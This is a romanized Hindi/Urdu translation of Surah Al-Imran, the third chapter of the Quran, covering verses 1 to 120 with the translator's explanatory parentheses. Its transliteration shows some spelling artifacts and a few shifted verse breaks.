अल-ए-इमरान

al-e-imaran islam dharm ke pavitr granth quran ka tisara soora (adhyay) hai jisamean 200 ayatean hoti haian.

3:1 - alif lam mim
3:2 - allah hi vah (khuda) hai jisake siva koee qabile parastish nahian hai vahi zinda (aur) sare jahan ka sanbhalane vala hai
3:3 - (ai rasool) usi ne tum par barahaq kitab nazil ki jo (asamani kitabean pahale se) usake samane maujood haian unaki tasadiq karati hai aur usi ne usase pahale logoan ki hidayat ke vaste tauret v injil nazil ki
3:4 - aur haq v batil mean tamiz dene vali kitab (quran) nazil ki beshak jin logoan ne khuda ki ayatoan ko n mana unake lie sakht azab hai aur khuda har chiz par galib badala lene vala hai
3:5 - beshak khuda par koee chiz poshida nahian hai (n) zamin mean n asaman mean
3:6 - vahi to vah khuda hai jo maan ke pet mean tumhari soorat jaisi chahata hai banata he usake siva koee mabood nahian
3:7 - vahi (har chiz par) galib aur dana hai (e rasool) vahi (vah khuda) hai jisane tumapar kitab nazil ki usamean ki baz ayatean to mohakam (bahut sarih) haian vahi (amal karane ke lie) asal (v buniyad) kitab hai aur kuchh (ayatean) mutashabeh (milati julati) (gol gol jisake mayane mean se pahaloo nikal sakate haian) pas jin logoan ke diloan mean kazi hai vah unhian ayatoan ke pichhe p de rahate haian jo mutashabeh haian taki fasad barapa karean aur is khyal se ki unhean matalab par dhale lean halaanki khuda aur un logoan ke siva jo ilm se b de pae par fayaz haian unaka asali matalab koee nahian janata vah log (ye bhi) kahate haian ki ham us par eeman lae (yah) sab (mohakam ho ya mutashabeh) hamare paravaradigar ki taraf se hai aur akl vale hi samajhate haian
3:8 - (aur dua karate haian) ai hamare palane vale hamare dil ko hidayat karane ke bad d aauvadol n kar aur apani baragah se hamean rahamat ata farama isamean to shak hi nahian ki too b da dene vala hai
3:9 - ai hamare paravaradigar beshak too ek n ek din jisake ane mean shubah nahian logoan ko ikttha karega (to ham par nazare inayat rahe) beshak khuda apane vayade ke khilaf nahian karata
3:10 - beshak jin logoan ne kuphr kiya ikhteyar kiya unako khuda (ke azab) se n unake mal hi kuchh bachaeange, n unaki aulad (kuchh kam aegi) aur yahi log jahannum ke eedhan hoange
3:11 - (unaki bhi) qaume firaun aur unase pahale valoan ki si halat hai ki un logoan ne hamari ayatoan ko jhuthalaya to khuda ne unhean unake gunahoan ki padash (saza) mean le dala aur khuda sakht saza dene vala hai
3:12 - (ai rasool) jin logoan ne kufr ikhteyar kiya unase kah do ki bahut jald tum (musalamano ke muqabale mean) magaloob (hare hue) hoange aur jahannum mean ikatthe kiye jaoge aur vah (kya) bura thikana hai
3:13 - beshak tumhare (samajhane ke) vaste un do (mukhalif girohoan mean jo (badr ki l daee mean) ek doosare ke sath guth ge (rasool ki sachchaee ki) b di bhari nishani hai ki ek giroh khuda ki rah mean jehad karata tha aur doosara kafiroan ka jinako musalaman apani aaukh se dugana dekh rahe the (magar khuda ne qalil hi ko fatah di) aur khuda apani madad se jis ki chahata hai taeed karata hai beshak aaukh valoan ke vaste is vaqaye mean b di ibarat hai
3:14 - duniya mean logoan ko unaki maragoob chize (masalan) biviyoan aur betoan aur sone ch aaudi ke b de b de lage hue dheroan aur umda umda gho doan aur maveshiyoan or kheti ke sath ulafat bhali karake dikha di gee hai ye sab dunayavi zindagi ke (chand roza) fayade haian aur (hamesha ka) achchha thikana to khuda hi ke yah aau hai
3:15 - (ai rasool) un logoan se kah do ki kya maian tumako un sab chizoan se behatar chiz bata dooan (achchha suno) jin logoan ne parahezagari ikhteyar ki unake lie unake paravaradigar ke yah aau (behisht) ke vah bagat haian jinake niche naharean jari haian (aur vah) hamesha usamean raheange aur usake alava unake lie saf suthari biviy aau haian aur (sabase badhakar) khuda ki khushanoodi hai aur khuda (apane) un bandoan ko khoob dekh raha he jo duaaian m aauga karate haian
3:16 - ki hamare palane vale ham to (betammul) eeman lae haian pas too bhi hamare gunahoan ko bakhsh de aur hamako dozakh ke azab se bacha
3:17 - (yahi log haian) sabr karane vale aur sach bolane vale aur (khuda ke) faramabaradar aur (khuda ki rah mean) kharch karane vale aur pichhali ratoan mean (khuda se tauba) istagafar karane vale
3:18 - zaroor khuda aur farishtoan aur ilm valoan ne gavahi di hai ki usake siva koee mabood qabile parasatish nahian hai aur vah khuda adl v insaf ke sath (karakhanae alam ka) sॅbhalane vala hai usake siva koee mabood nahian (vahi har chiz par) galib aur dana hai (sachcha) din to khuda ke nazadik yaqinan (bas yahi) islam hai
3:19 - aur ahale kitab ne jo us dine haq se ikhtelaf kiya to mahaz apas ki shararat aur asali (amr) maloom ho jane ke bad (hi kya hai) aur jis shakhs ne khuda ki nishaniyoan se inkar kiya to (vah samajh le ki yaqinan khuda (usase) bahut jaldi hisab lene vala hai
3:20 - (ai rasool) pas agar ye log tumase (khvah ma khvah) hujjat kare to kah do maianne khuda ke age apana sare taslim kham kar diya hai aur jo mere tabe hai (unhoanne) bhi) aur ai rasool tum ahale kitab aur jahiloan se pooanchho ki kya tum bhi islam lae ho (ya nahi) pas agar islam lae haian to bekhatake rahe rast par a ge aur agar muanh phere to (ai rasool) tum par sirf paigam (islam) pahuancha dena farz hai (bas) aur khuda (apane bandoan) ko dekh raha hai
3:21 - beshak jo log khuda ki ayatoan se inkar karate haian aur nahaq paigambaroan ko qatl karate haian aur un logoan ko (bhi) qatl karate haian jo (unhean) insaf karane ka hukm karate haian to (ai rasool) tum un logoan ko dardanak azab ki khushakhabari de do
3:22 - yahi vah (badanasib) log haian jinaka sara kiya karaya duniya aur akherat (donoan) mean akarat gaya aur koee unaka madadagar nahian
3:23 - (ai rasool) kya tumane (ulamae yahood) ke hal par nazar nahian ki jinako kitab (tauret) ka ek hissa diya gaya tha (ab) unako kitabe khuda ki taraf bulaya jata hai taki vahi (kitab) unake jhag dean ka phaisala kar de is par bhi unamean ka ek giroh muanh pher leta hai aur yahi log roogaradani (muanh pherane) karane vale haian
3:24 - ye is vajah se hai ki vah log kahate haian ki hamean ginati ke chand dinoan ke siva jahannum ki ag haragiz chhuegi bhi to nahian jo ifatera paradazi ye log barabar karate ae haian usi ne unhean unake din mean bhi dhokha diya hai
3:25 - phir unaki kya gat hogi jab ham unako ek din (qayamat) jisake ane mean koee shubaha nahian ikttha kareange aur har shakhs ko usake kie ka poora poora badala diya jaega aur unaki kisi tarah haqatalfi nahian ki jaegi
3:26 - (ai rasool) tum to yah dua m aaugoan ki ai khuda tamam alam ke malik too hi jisako chahe saltanat de aur jisase chahe saltanat chhin le aur too hi jisako chahe ijzat de aur jise chahe zillat de har tarah ki bhalaee tere hi hath mean hai beshak too hi har chiz par qadir hai
3:27 - too hi rat ko (badha ke) din mean dakhil kar deta hai (to) rat badh jati hai aur too hi din ko (badha ke) rat mean dakhil karata hai (to din badh jata hai) too hi bejan (anda nutfa vagairah) se janadar ko paida karata hai aur too hi janadar se bejan nutfa (vagairaha) nikalata hai aur too hi jisako chahata hai behisab rozi deta hai
3:28 - mominin mominin ko chho d ke kafiroan ko apana saraparast n banaaian aur jo aisa karega to usase khuda se kuchh sarokar nahian magar (is qism ki tadabiroan se) kisi tarah un (ke shar) se bachana chaho to (khair) aur khuda tumako apane hi se darata hai aur khuda hi ki taraf laut kar jana hai
3:29 - ai rasool tum un (logoan se) kah do kijo kuchh tumhare diloan mean hai to khvah use chhipao ya zahir karo (baharahal) khuda to use janata hai aur jo kuchh asamanoan mean hai aur jo kuchh zamin mean vah (sab kuchh) janata hai aur khuda har chiz par qadir hai
3:30 - (aur us din ko yad rakho) jis din har shakhs jo kuchh usane (duniya mean) neki ki hai aur jo kuchh buraee ki hai usako maujood paega (aur) arazoo karega ki kash us ki badi aur usake daramiyan mean zamane daraz (hael) ho jata aur khuda tumako apane hi se darata hai aur khuda apane bandoan par b da shafiq aur (meharaban bhi) hai
3:31 - (ai rasool) un logoan se kah do ki agar tum khuda ko dost rakhate ho to meri pairavi karo ki khuda (bhi) tumako dost rakhega aur tumako tumhare gunah bakhsh dega aur khuda b da bakhshane vala meharaban hai
3:32 - (ai rasool) kah do ki khuda aur rasool ki faramabaradari karo phir agar yah log usase saratabi karean to (samajh lean ki) khuda kafiroan ko haragiz dost nahian rakhata
3:33 - beshak khuda ne adam aur nooh aur khanadane ibarahim aur khanadane imaran ko sare jahan se baraguzida kiya hai
3:34 - baz ki aulad ko baz se aur khuda (sabaki) sunata (aur sab kuchh) janata hai
3:35 - (ai rasool vah vakt yad karo) jab imaran ki bivi ne (khuda se) arz ki ki ai mere palane vale mere pet mean jo bachcha hai (usako maian duniya ke kam se) azad karake teri nazr karati hooan too meri taraf se (ye nazr kubool farama too beshak b da sunane vala aur janane vala hai
3:36 - phir jab vah beti jan chuki to (hairat se) kahane lagi ai mere paravaradigar (maian kya karooan) maian to ye l daki jani hooan aur l daka l daki ke aisa (gaya guzara) nahian hota hal aauki use kahane ki zaroorat kya thi jo ve jani thi khuda us (ki shan v marataba) se khoob vaqif tha aur maianne usaka nam mariyam rakha hai aur maian usako aur usaki aulad ko shaitan maradood (ke fareb) se teri panah mean deti hooan
3:37 - to usake paravaradigar ne (unaki nazr) mariyam ko khushi se kubool faramaya aur usaki nasho v numa (paravarish) achchhi tarah ki aur zakariya ko unaka kafil banaya jab kisi vakt zaqariya unake pas (unake) ibadat ke hujare mean jate to mariyam ke pas kuchh n kuchh khane ko maujood pate to pooanchhate ki ai mariyam ye (khana) tumhare pas kah aau se aya hai to mariyam ye kah deti thi ki yah khuda ke yah aau se (aya) hai beshak khuda jisako chahata hai behisab rozi deta hai
3:38 - (ye majara dekhate hi) usi vakt zakariya ne apane paravaradigar se dua ki aur arj qi ai mere palane vale too mujhako (bhi) apani baragah se pakiza aulad ata farama beshak too hi dua ka sunane vala hai
3:39 - abhi zakariya hujare mean kh de (ye) dua kar hi rahe the ki farishtoan ne unako avaz di ki khuda tumako yahaya (ke paida hone) ki khushakhabari deta hai jo jo kalematullah (eesa) ki tasdiq karega aur (logoan ka) saradar hoga aur auratoan ki taraf ragabat n karega aur neko kar nabi hoga
3:40 - zakariya ne arz ki paravaradigar mujhe l daka kyoankar ho sakata hai hal aauki mera budhapa a pahuancha aur (usapar) meri bivi b aaujh hai (khuda ne) faramaya isi tarah khuda jo chahata hai karata hai
3:41 - zakariya ne arz ki paravaradigar mere itmenan ke lie koee nishani muqarrar farama irashad hua tumhari nishani ye hai tum tin din tak logoan se bat n kar sakoge magar ishare se aur (usake shukriye mean) apane paravaradigar ki aksar yad karo aur rat ko aur subah t dake (hamari) tasabih kiya karo
3:42 - aur vah vaqiya bhi yad karo jab farishtoan ne mariyam se kaha, ai mariyam tumako khuda ne baraguzida kiya aur (tamam) gunahoan aur buraiyoan se pak saf rakha aur sare duniya jah aaun ki auratoan mean se tumako muntakhib kiya hai
3:43 - (to) ai mariyam isake shukr se maian apane paravaradigar ki faramabadari karooan sajada aur rookoou karane valoan ke sath rookoou karati rahooan
3:44 - (ai rasool) ye khabar gaib ki khabaroan mean se hai jo ham tumhare pas 'vahi' ke zarie se bhejate haian (ai rasool) tum to un saraparastane mariyam ke pas maujood n the jab vah log apana apana qalam dariya mean bataur qura ke dal rahe the (dekhean) kaun mariyam ka kafil banata hai aur n tum us vakt unake pas maujood the jab vah log apas mean jhag d rahe the
3:45 - (vah vaqiya bhi yad karo) jab farishtoan ne (mariyam) se kaha ai mariyam khuda tumako sirf apane hukm se ek l dake ke paida hone ki khushakhabari deta hai jisaka nam eesa masih ibne mariyam hoga (aur) duniya aur akherat (donoan) mean baijzat (abaroo) aur khuda ke muqarrab bandoan mean hoga
3:46 - aur (bachapan mean) jab jhoole mean p da hoga aur b di umr ka hokar (donoan halatoan mean yakas aau) logoan se bate karega aur neko karoan mean se hoga
3:47 - (ye sunakar mariyam tajjub se) kahane lagi paravaradigar mujhe l daka kyoankar hoga hal aauki mujhe kisi mard ne chhua tak nahian irashad hua isi tarah khuda jo chahata hai karata hai jab vah kisi kam ka karana than leta hai to bas kah deta hai 'ho ja' to vah ho jata hai
3:48 - aur (ai marayim) khuda usako (tamam) kitabe asamani aur akl ki batean aur (khasakar) tauret v injil sikha dega
3:49 - aur bani isarail ka rasool (qarar dega aur vah unase yooan kahega ki) maian tumhare pas tumhare paravaradigar ki taraf se (apani naboovat ki) yah nishani lekar aya hooan ki maian guandhian huee mitti se ek parinde ki soorat banaooॅga phir us par (kuchh) dam karooanga to vo khuda ke hukm se u dane lagega aur maian khuda hi ke hukm se madarazad (paidayashi) aandhe aur kodhi ko achchha karooanga aur murdo ko zinda karooanga aur jo kuchh tum khate ho aur apane gharoan mean jama karate ho maian (sab) tumako bata dooanga agar tum eemanadar ho to beshak tumhare liye in batoan mean (meri naboovat ki) b di nishani hai
3:50 - aur tauret jo mere samane maujood hai maian usaki tasadiq karata hooan aur (mere ane ki) ek garaz yah (bhi) hai ki jo chije tum par haram hai unamean se baz ko (hukme khuda se) halal kar dooan aur maian tumhare paravaradigar ki taraf se (apani naboovat ki) nishani lekar tumhare pas aya hooan
3:51 - pas tum khuda se daro aur meri itaat karo beshak khuda hi mera aur tumhara paravaradigar hai
3:52 - pas usaki ibadat karo (kyoanki) yahi najat ka sidha rasta hai phir jab eesa ne (itani batoan ke bad bhi) unaka kufr (par a de rahana) dekha to (akhir) kahane lage kaun aisa hai jo khuda ki taraf hokar mera madadagar bane (ye sunakar) havariyoan ne kaha ham khuda ke tarafadar haian aur ham khuda par eeman lae
3:53 - aur (eesa se kaha) ap gavah rahie ki ham faramabaradar haian
3:54 - aur khuda ki baragah mean arz ki ki ai hamare palane vale jo kuchh toone nazil kiya ham usapar eeman lae aur hamane tere rasool (eesa) ki pairavi ikhteyar ki pas too hamean (apane rasool ke) gavahoan ke daftar mean likh le
3:55 - aur yahoodiyoan (ne eesa se) makkari ki aur khuda ne usake dafeeya ki tadabir ki aur khuda sab se behatar tadabir karane vala hai (vah vakt bhi yad karo) jab eesa se khuda ne faramaya ai eesa maian zaroor tumhari zindagi ki muddat poori karake tumako apani taraf utha looanga aur kafiroan (ki zindagi) se tumako pak v pakiza rakhooanga aur jin logoan ne tumhari pairavi ki unako qayamat tak kafiroan par galib rakhooanga phir tum sabako meri taraf lautakar ana hai
3:56 - tab (us din) jin batoan mean tum (duniya) mean jhag de karate the (unaka) tumhare daramiyan faisala kar dooanga pas jin logoan ne kufr ikhteyar kiya unapar duniya aur akhirat (donoan mean) sakht azab karooanga aur unaka koee madadagar n hoga
3:57 - aur jin logoan ne eeman qubool kiya aur achchhe (achchhe) kam kie to khuda unako unaka poora ajr v savab dega aur khuda zalimoan ko dost nahian rakhata
3:58 - (ai rasool) ye jo ham tumhare samane bayan kar rahe haian kudarate khuda ki nishaniy aau aur hikamat se bhare huye tazakire haian
3:59 - khuda ke nazadik to jaise eesa ki halat vaisi hi adam ki halat ki unako ko mitti ka putala banakar kaha ki 'ho ja' pas (fauran hi) vah (insan) ho gaya
3:60 - (ai rasool ye hai) haq bat (jo) tumhare paravaradigar ki taraf se (bataee jati hai) to tum shak karane valoan mean se n ho jana
3:61 - phir jab tumhare pas ilm (quran) a chuka usake bad bhi agar tum se koee (nasarani) eesa ke bare mean hujjat karean to kaho ki (achchha maidan mean) ao ham apane betoan ko bulaean tum apane betoan ko aur ham apani auratoan ko (bulaean) aur tum apani auratoan ko aur ham apani janoan ko bulaean or tum apani janoan ko
3:62 - usake bad ham sab milakar (khuda ki baragah mean) gi dagi daean aur jhoothoan par khuda ki lanat karean (ai rasool) ye sab yaqini sachche vaqayat haian aur khuda ke siva koee mabood (qabile parasatish) nahian hai
3:63 - aur beshak khuda hi sab par galib aur hikamat vala hai
3:64 - phir agar isase bhi muanh pherean to (kuchh) paravah (nahian) khuda fasadi logoan ko khoob janata hai (ai rasool) tum (unase) kaho ki ai ahale kitab tum aisi (thikane ki) bat par to ao jo hamare aur tumhare daramiyan yakas aau hai ki khuda ke siva kisi ki ibadat n karean aur kisi chiz ko usaka sharik n banaean aur khuda ke siva hamamean se koee kisi ko apana paravaradigar n banae agar isase bhi muanh modean to tum gavah rahana ham (khuda ke) faramabaradar haian
3:65 - ai ahale kitab tum ibarahim ke bare mean (khvah ma khvah) kyoan jhag date ho ki koee unako nasarani kahata hai koee yahoodi hal aauki tauret v injil (jinase yahood v nasara ki ibteda hai vah) to unake bad hi nazil huee
3:66 - to kya tum itana bhi nahian samajhate? (ai lo are) tum vahi ehamaq log ho ki jis ka tumhean kuchh ilm tha usamean to jhag da kar chuke (khair) phir tab usamean kya (khvah ma khvah) jhag dane baithe ho jisaki (sire se) tumhean kuchh khabar nahian aur (hakॣqate hal to) khuda janata hai aur tum nahian janate
3:67 - ibarahim n to yahoodi the aur n nasarani balki nire khare haq par the (aur) faramabaradar (bande) the aur musharikoan se bhi n the
3:68 - ibarahim se jyada khusoosiyat to un logoan ko thi jo khas unaki pairavi karate the aur us paigambar aur eemanadaroan ko (bhi) hai aur mominin ka khuda malik hai
3:69 - (musalamano) ahale kitab se ek giroh ne bahut chaha ki kisi tarah tumako raherast se bhataka de hal aauki vah (apani tadabiroan se tumako to nahian magar) apane hi ko bhatakate haian
3:70 - aur usako samajhate (bhi) nahian ai ahale kitab tum khuda ki ayatoan se kyoan inkar karate ho, hal aauki tum khud gavah ban sakate ho
3:71 - ai ahale kitab tum kyo haq v batil ko g dab d karate aur haq ko chhupate ho hal aauki tum janate ho
3:72 - aur ahale kitab se ek giroh ne (apane logoan se) kaha ki musalamanoan par jo kitab nazil hueehai usapar subah savere eeman lao aur akhir vakt ऌnkar kar diya karo shayad musalaman (isi tadabir se apane din se) phir jae
3:73 - aur tumhare din ki pairavari kare usake siva kisi doosare ki bat ka aitabar n karo (ai rasool) tum kah do ki bas khuda hi ki hidayat to hidayat hai (yahoodi baham ye bhi kahate haian ki) usako bhi n (manana) ki jaisa (umda din) tumako diya gaya hai, vaisa kisi aur ko diya jay ya tumase koee shakhs khuda ke yah aau jhag da kare (ai rasool tum unase) kah do ki (ye kya galat khyal hai) fazal (v karam) khuda ke hath mean hai vah jisako chahe de aur khuda b di gunjaeesh vala hai (aur har shai ko)e janata hai
3:74 - jisako chahe apani rahamat ke liye khas kar leta hai aur khuda b da fazaloan karam vala he
3:75 - aur ahale kitab kuchh aise bhi haian ki agar unake pas roope ki dher amanat rakh do to bhi use (jab chaho) vaise hi tumhare havale kar deange aur baz aise hean ki agar ek asharfi bhi amanat rakho to jab tak tum barabar (unake sar) par kh de n rahoge tumhean vapas n deange ye (badamuam lagi) is vajah se hai ki un ka to ye qaul hai ki (arab ke) jahilo (ka haq mar lene) mean ham par koee ilzam ki rah hi nahian aur jan boojh kar khuda par jhooth (toofan) jo date haian
3:76 - haan (alabatta) jo shakhs apane ehad ko poora kare aur parahezagari ikhteyar kare to beshak khuda parahezagaroan ko dost rakhata hai
3:77 - beshak jo log apane ehad aur (qasame) jo khuda (se kiya tha usake) badale tho da (dunayavi) muaveza le lete haian un hi logoan ke vaste akhirat mean kuchh hissa nahian aur qayamat ke din khuda unase bat tak to karega nahian or unaki taraf nazar (rahamat) hi karega aur n unako (gunahoan ki gandagi se) pak karega aur unake liye dardanam azab hai
3:78 - aur ahale kitab se baz aise zaroor haian ki kitab (tauret) mean apani zabane maro d maro d ke (kuchh ka kuchh) padh jate haian taki tum ye samajho ki ye kitab ka juz hai hal aauki vah kitab ka juz nahian aur kahate haian ki ye (jo ham padhate haian) khuda ke yah aau se (utara) hai hal aauki vah khuda ke yah aau se nahian (utara) aur janaboojh kar khuda par jhooth (toofan) jo date haian
3:79 - kisi adami ko ye zeba n tha ki khuda to use (apani) kitab aur hikamat aur naboovat ata faramae aur vah logoan se kahata phire ki khuda ko chho dakar mere bande ban jao balki (vah to yahi kahega ki) tum allah vale ban jao kyoanki tum to (hamesha) kitabe khuda (doosaro) ko padhate rahate ho aur tum khud bhi sada padhate rahe ho
3:80 - aur vah tumase ye to (kabhi) n kahega ki farishtoan aur paigambaroan ko khuda bana lo bhala (kahian aisa ho sakata hai ki) tumhare musalaman ho jane ke bad tumhean kufr ka hukm karega
3:81 - (aur ai rasool vah vakt bhi yad dilao) jab khuda ne paigambaroan se iqarar liya ki ham tumako jo kuchh kitab aur hikamat (vagairah) de usake bad tumhare pas koee rasool ae aur jo kitab tumhare pas usaki tasadiq kare to (dekho) tum zaroor us par eeman lana, aur zaroor usaki madad karana (aur) khuda ne faramaya kya tumane iqarar liya tumane mere (ehad ka) bojh utha liya sabane arz ki hamane iqarar kiya irashad hua (achchha) to aj ke qaul v (qarar ke) apas mean ek doosare ke gavah rahana
3:82 - aur tumhare sath maian bhi ek gavah hooan phir usake bad jo shakhs (apane qaul se) muanh phere to vahi log badachalan haian
3:83 - to kya ye log khuda ke din ke siva (koee aur din) dhooandhate haian hal aauki jo (farishte) asamanoan mean haian aur jo (log) zamin mean haian sabane khushi khushi ya zabaradasti usake samane apani gardan dal di hai aur (akhir sab) usaki taraf laut kar jaeange
3:84 - (ai rasool un logoan se) kah do ki ham to khuda par eeman lae aur jo kitab ham par nazil huee aur jo (sahife) ibarahim aur ismaeel aur isahaq aur yakoob aur aulade yakoob par nazil huye aur moosa aur eesa aur doosare paigambaroan ko jo (jo kitab) unake paravaradigar ki taraf se inayat huee(sab par eeman lae) ham to unamean se kisi ek mean bhi farq nahian karate
3:85 - aur ham to usi (yakata khuda) ke faramabaradar haian aur jo shakhs islam ke siva kisi aur din ki khvahish kare to usaka vah din haragiz kubool hi n kiya jaega aur vah akhirat mean sakht ghate mean rahega
3:86 - bhala khuda aise logoan ki kyoankar hidayat karega jo imane lane ke bad phir kafir ho ge hal aauki vah iqarar kar chuke the ki paigambar (akhiroozazama) barahaq haian aur unake pas vajee v raushan maujize bhi a chuke the aur khuda aisi hathadharmi karane vale logoan ki hidayat nahian karata
3:87 - aise logoan ki saza yah hai ki unapar khuda aur farishtoan aur (duniya jah aaun ke) sab logoan ki phitakar haian
3:88 - aur vah hamesha usi phitakar mean raheange n to unake azab hi mean takhfif ki jaegi aur n unako mohalat di jaegi
3:89 - magar (h aau) jin logoan ne isake bad tauba kar li aur apani (kharabi ki) islah kar li to alabatta khuda b da bakhshane vala meharaban hai
3:90 - jo apane eeman ke bad kafir ho baithe phir (roz baroz apana) kufr badhate chale gaye to unaki tauba haragiz n kubool ki jaegi aur yahi log (palle daraje ke) gumarah haian
3:91 - beshak jin logoan ne kufr ikhtiyar kiya aur kufr ki halat mean mar gaye to agarache itana sona bhi kisi ki guloo khalasi (chhutakara pane) mean diya jae ki zamin bhar jae to bhi haragiz n kubool kiya jaega yahi log haian jinake lie dardanak azab hoga aur unaka koee madadagar bhi n hoga
3:92 - (logoan) jab tak tum apani pasandida chizoan mean se kuchh rahe khuda mean kharch n karoge haragiz neki ke daraje par fayaz nahian ho sakate aur tum koee
3:93 - si chiz bhi kharch karo khuda to usako zaroor janata hai taurait ke nazil hone ke qabl yakoob ne jo jo chize apane oopar haram kar li thian unake siva bani isarail ke lie sab khane halal the (ai rasool un yahood se) kah do ki agar tum (apane dave mean sachche ho to tauret le ao
3:94 - aur usako (hamare samane) padho phir usake bad bhi jo koee khuda par jhooth toofan jo de to (samajh lo) ki yahi log zalim (hathadharm) haian
3:95 - (ai rasool) kah do ki khuda ne sach faramaya to ab tum millate ibarahim (islam) ki pairavi karo jo batil se katara ke chalate the aur musharekin se n the
3:96 - logoan (ki ibadat) ke vaste jo ghar sabase pahale banaya gaya vah to yaqinan yahi (kaba) hai jo makke mean hai b di (khair v barakat) vala aur sare jah aaun ke logoan ka rahanuma
3:97 - isamean (huramat ki) bahut si vaze aur raushan nishaniy aau haian (unamean se) muqam ibarahim hai (jah aau apake qadamoan ka patthar par nishan hai) aur jo is ghar mean dakhil hua aman mean a gaya aur logoan par vajib hai ki mahaz khuda ke lie khanae kaba ka haj karean jinhe vahaan tak pahuanchane ki istetaat hai aur jisane bavajood kudarat haj se inkar kiya to (yad rakhe) ki khuda sare jah aaun se beparava hai
3:98 - (ai rasool) tum kah do ki ai ahale kitab khuda ki ayato se kyo munkir hue jate ho hal aauki jo kam kaj tum karate ho khuda ko usaki (poori) poori ittila hai
3:99 - (ai rasool) tum kah do ki ai ahale kitab dide danista khuda ki (sidhi) rah mean (nahaq ki) kazi dhooandho (dhooandh) ke eeman lane valoan ko usase kyoan rokate ho or jo kuchh tum karate ho khuda usase bekhabar nahian hai
3:100 - ai eeman valoan agar tumane ahale kitab ke kisi firake qa bhi kahana mana to (yad rakho ki) vah tumako eeman lane ke bad (bhi) phir dubara kafir bana chhodeange
3:101 - aur (bhala) tum kyoankar kafir ban jaoge hal aauki tumhare samane khuda ki ayatean (barabar) padhi jati haian aur usake rasool (mohammad) bhi tumamean (maujood) haian aur jo shakhs khuda se vabasta ho vah (to) zaroor sidhi rah par laga diya gaya
3:102 - ai eeman valoan khuda se daro jitana usase darane ka haq hai aur tum (din) islam ke siva kisi aur din par haragiz n marana
3:103 - aur tum sab ke sab (milakar) khuda ki rassi mazabooti se thame raho aur apas mean (ek doosare) ke phoot n dalo aur apane hal (zar) par khuda ke ehasan ko to yad karo jab tum apas mean (ek doosare ke) dushman the to khuda ne tumhare diloan mean (ek doosare ki) ulafat paida kar di to tum usake fazal se apas mean bhaee bhaee ho ge aur tum goya sulagati hueeag ki bhatti (dozakh) ke lab par (khade) the girana hi chahate the ki khuda ne tumako usase bacha liya to khuda apane ehakam yooan vajee karake bayan karata hai taki tum rahe rast par a jao
3:104 - aur tumase ek giroh aise (logoan ka bhi) to hona chahiye jo (logoan ko) neki ki taraf bulae achchhe kam ka hukm de aur bure kamoan se roke aur aise hi log (akherat mean) apani dili muradean payeange
3:105 - aur tum (kahian) un logoan ke aise n ho jana jo apas mean phoot dal kar baith rahe aur raushan (dalil) ane ke bad bhi ek muanh ek zaban n rahe aur aise hi logoan ke vaste b da (bhari) azab hai
3:106 - (us din se daro) jis din kuchh logoan ke chehare to saphaid noorani hoange aur kuchh (logo) ke chehare siyah jin logoan ke muhॅ mean kalik hogi (unase kaha jayega) hae kyoan tum to eeman lane ke bad kafir ho ge the achchha to (lo) (ab) apane kufr ki saza mean azab (ke maje) chakho
3:107 - aur jinake chehare par noor barasata hoga vah to khuda ki rahamat(bahisht) mean hoange (aur) usi mean sada raheange
3:108 - (ai rasool) ye khuda ki ayatean haian jo ham tumako thik (thik) padh ke sunate haian aur khuda sare jah aaun ke logoan (se kisi) par julm karana nahian chahata
3:109 - aur jo kuchh asamanoan mean hai aur jo kuchh zamin mean hai (sab) khuda hi ka hai aur (akhir) sab kamoan ki roozu khuda hi ki taraf hai
3:110 - tum kya achchhe giroh ho ki (logoan ki) hidayat ke vaste paida kiye ge ho tum (logoan ko) achchhe kam ka hukm karate ho aur bure kamoan se rokate ho aur khuda par eeman rakhate ho aur agar ahale kitab bhi (isi tarah) eeman late to unake haq mean bahut achchha hota unamean se kuchh hi to eemanadar haian aur aksar badakar
3:111 - (musalamanoan) ye log mamooli aziyat ke siva tumhean haragiz zarar nahian pahuancha sakate aur agar tumase l deange to unhean tumhari taraf pith hi karani hogi aur phir unaki kahian se madad bhi nahian pahuanchegi
3:112 - aur jah aau kahian hatte chadhe unapar roosavaee ki mar p di magar khuda ke ehad (ya) aur logoan ke ehad ke zariye se (unako kahian panah mil gayi) aur phir herapher ke khuda ke gazab mean p d ge aur unapar mohataji ki mar (alag) p di ye (kyoan) is sabab se ki vah khuda ki ayatoan se inkar karate the aur paigambaroan ko nahaq qatl karate the ye saza usaki hai ki unhoanne nafaramani ki aur had se guzar ge the
3:113 - aur ye log bhi sabake sab yakas aau nahian haian (balki) ahale kitab se kuchh log to aise haian ki (khuda ke din par) is tarah sabit qadam haian ki ratoan ko khuda ki ayatean padha karate haian aur vah barabar sajade kiya karate haian
3:114 - khuda aur roze akherat par eeman rakhate haian aur achchhe kam ka to hukm karate haian aur bure kamoan se rokate haian aur nek kamoan mean dau d p date haian aur yahi log to nek bandoan se haian
3:115 - aur vah jo kuchh neki kareange usaki haragiz naqadri n ki jaegi aur khuda parahezagaroan se khoob vaqif hai
3:116 - beshak jin logoan ne kufr ikhteyar kiya khuda (ke azab) se bachane mean haragiz n unake mal hi kuchh kam aeange n unaki aulad aur yahi log jahannumi haian aur hamesha usi mean raheange
3:117 - duniya ki chand roza zindagi mean ye log jo kuchh (khilaf shara) kharch karate haian usaki misal andh d ki misal hai jisamean bahut pala ho aur vah un logoan ke khet par ja p de jinhoanne (kufr ki vajah se) apani janoan par sitam dhaya ho aur phir pala use mar ke (nas kar de) aur khuda ne unapar julm kuchh nahian kiya balki unhoanne ap apane oopar julm kiya
3:118 - ai eemanadaroan apane (mominin) ke siva (gairo ko) apana razadar n banao (kyoanki) ye gair log tumhari barabadi mean kuchh utha nahian rakheange (balki jitana jyada takalif) mean p doge utana hi ye log khush hoange dushmani to unake muanh se tapakati hai aur jo (bugaz v hasad) unake diloan mean bhara hai vah kahian usase badhakar hai hamane tumase (apane) ehakam saf saf bayan kar diye agar tum samajh rakhate ho
3:119 - ai logoan tum aise (sidhe) ho ki tum unase ulafat rakhato ho aur vah tumhean (zara bhi) nahian chahate aur tum to poori kitab (khuda) par eeman rakhate ho aur vah aise nahian haian (magar) jab tumase milate haian to kahane lagate haian ki ham bhi eeman lae aur jab akele mean hote haian to tum par gusse ke mare uangaliyoan katate haian (ai rasool) tum kah do ki (katana kya) tum apane gusse mean jal maro jo batean tumhare diloan mean haian beshak khuda zaroor janata hai
3:120 - (ai eemanadaroan) agar tumako bhalaee chhoo bhi gayi to unako bura maloom hota hai aur jab tumapar koee bhi musibat p dati hai to vah khush ho jate haian aur agar tum sabr karo aur parahezagari ikhteyar karo to unaka fareb tumhean kuchh bhi zarar nahian pahuanchaega (kyoanki) khuda to unaki karastaniyoan par havi hai
